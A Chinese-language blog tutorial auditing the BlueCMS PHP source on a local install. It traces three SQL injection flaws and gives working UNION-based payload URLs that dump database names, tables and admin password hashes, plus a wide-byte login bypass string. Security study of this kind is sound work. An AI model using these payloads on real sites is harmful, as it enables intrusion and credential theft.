环境搭建
源码下载地址
下载链接:https://jwt1399.lanzoui.com/inPwSde6c5a
安装
1.把下好的BlueCMS
源码文件bluecms_src
放到phpStudy
的WWW
目录下
2.访问本地:http://localhost/bluecms_src/
, 能看到项目文件
3.访问地址:http://localhost/bluecms_src/uploads/install/
就会进入到安装界面,按照提示配置好参数,注意数据库用户名和密码要与你的mysql匹配
4.再访问:http://localhost/bluecms_src/uploads/
,可以看到已经安装好了
SQL注入
用Seay源代码审计系统审计一下看看,我们可以发现有很多可能的注入点
注入1(Union联合注入)
注入点:/ad_js.php
审计
在Seay中选中该可能的注入点,就能直接定位到该条语句了,内容如下:
10行 require_once dirname(__FILE__) . '/include/common.inc.php';
12行 $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
19行 $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
包含了/include/common.inc.php
,跟进这个文件进行查看
//30行-36行
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}
magic_quotes_gpc
函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误
如果没有开启gpc
,对$_GET、$_POST、$_COOKIES、$_REQUEST
使用deep_addslashes()
函数过滤一遍
追踪一下deep_addslashes()
函数,在/include/common.fun.php
中
//14行-28行
function deep_addslashes($str)
{
if(is_array($str))
{
foreach($str as $key=>$val)
{
$str[$key] = deep_addslashes($val);
}
}
else
{
$str = addslashes($str);
}
return $str;
}
使用addslashes
函数【在预定义字符之前添加反斜杠的字符串】对参数进行的过滤
再回看注入点,$ad_id
没有使用单引号双引号包括所以addslashes()
函数不起作用
12行 $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
19行 $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
getone()
是自定义的函数,getone()
方法位于/include/mysql.class.php
第61
行,作用是执行SQL语句并输出
function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}
插入到数据库查询语句中的$ad_id
先判断参数是否为空,如果不为空再使用trim()
函数去除首尾的空格,没有经过任何其他的过滤,因而存在SQL
注入漏洞
还有一个有意思的点,查询结果是经过一系列判断后输出到了html的代码注释中,也就是说显示位在浏览器源码中查看
38行 echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";
利用
#查看字段数
http://127.0.0.1/bluecms_src/uploads/ad_js.php?ad_id=1 order by 7 #正常
http://127.0.0.1/bluecms_src/uploads/ad_js.php?ad_id=1 order by 8 #报错
'''
所以字段数为7
'''
#确定显示位
http://127.0.0.1/bluecms_src/uploads/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,7
'''
页面回显空白,查看源码看到只有7显示到界面,所以显示位在源码中,因此后面只能在源码中查看显示信息
'''
#查看数据库
view-source:127.0.0.1/bluecms_src/uploads/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()
'''
得到数据库:bluetest
'''
#查看表名
view-source:127.0.0.1/bluecms_src/uploads/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
'''
得到表名:...,blue_admin,blue_admin_log,...
'''
#查看blue_admin表中字段名
view-source:127.0.0.1/bluecms_src/uploads/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e
'''
这里表名blue_admin必须转换成16进制,如果不用16进制就得用引号包裹,当有addlashes函数就会转义引号,就会导致查询失败,使用16进制避免了这个问题。
得到字段:admin_id,admin_name,email,pwd,purview,add_time,last_login_time,last_login_ip
'''
#查看admin_name和pwd字段信息
view-source:127.0.0.1/bluecms_src/uploads/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(admin_name,0x3a,pwd) from blue_admin
'''
得到字段信息:admin:767708e8a5300bfe4e239b47b51659ff
'''
注入2(宽字节注入万能密码)
注入点:/admin/login.php
审计
22行 $admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : '';
23行 $admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : '';
利用
%df'or 1=1 #
注入3(Union联合注入)
注入点: /admin/nav.php
审计
//63-70行
elseif($act=='edit')
{
$sql = "select * from ".table('navigate')." where navid = ".$_GET['navid'];
$nav = $db->getone($sql);
$smarty->assign('nav',$nav);
$smarty->assign('act', $act );
$smarty->display('nav_info.htm');
}
$_GET['navid']
直接接在后面,存在SQL注入漏洞
利用
#查看字段数
http://127.0.0.1/bluecms_src/uploads/admin/nav.php?act=edit&navid=1 order by 6; #正常
http://127.0.0.1/bluecms_src/uploads/admin/nav.php?act=edit&navid=1 order by 7; #报错
'''
所以字段数为6
'''
#确定显示位
http://127.0.0.1/bluecms_src/uploads/admin/nav.php?act=edit&navid=1 union select 1,2,3,4,5,6
'''
2,3,5在前端界面回显成功,因此可以在2,3,5显示位查询我们想要查询的信息
'''
#查看数据库等信息
http://127.0.0.1/bluecms_src/uploads/admin/nav.php?act=edit&navid=1 union select 1,database(),version(),4,@@version_compile_os,6
'''
得到数据库:bluetest mysql版本:5.5.53 操作系统:Win32
'''
##查看表名
http://127.0.0.1/bluecms_src/uploads/admin/nav.php?act=edit&navid=1 union select 1,2, group_concat(table_name),4,5,6 from information_schema.tables where table_schema=database()
'''
得到表名:...,blue_admin,blue_admin_log,...
易错点:form语句要放在select 1,2,3,4,5,6的后面,直接放在1,2,3...的位置上得再加一个select并括起来
eg: 1 union select 1,2, (select group_concat(table_name) from information_schema.tables where table_schema=database()),4,5,6
'''
#查看blue_admin表中字段名
127.0.0.1/bluecms_src/uploads/admin/nav.php?act=edit&navid=1 union select 1,2, group_concat(column_name),4,5,6 from information_schema.columns where table_name=0x626c75655f61646d696e
'''
这里表名blue_admin必须转换成16进制,如果不用16进制就得用引号包裹,当有addlashes函数就会转义引号,就会导致查询失败,使用16进制避免了这个问题。
得到字段:admin_id,admin_name,email,pwd,purview,add_time,last_login_time,last_login_ip
'''
#查看admin_name和pwd字段信息
127.0.0.1/bluecms_src/uploads/admin/nav.php?act=edit&navid=1 union select 1,2,group_concat(admin_name,0x3a,pwd),4,5,6 from blue_admin
'''
得到字段信息:admin:767708e8a5300bfe4e239b47b51659ff
'''
这个CMS洞太多了,给自己挖了个大坑,有空再继续写吧
赞助💰
如果你觉得对你有帮助,你可以赞助我一杯冰可乐!嘻嘻🤭
支付宝支付 | 微信支付 |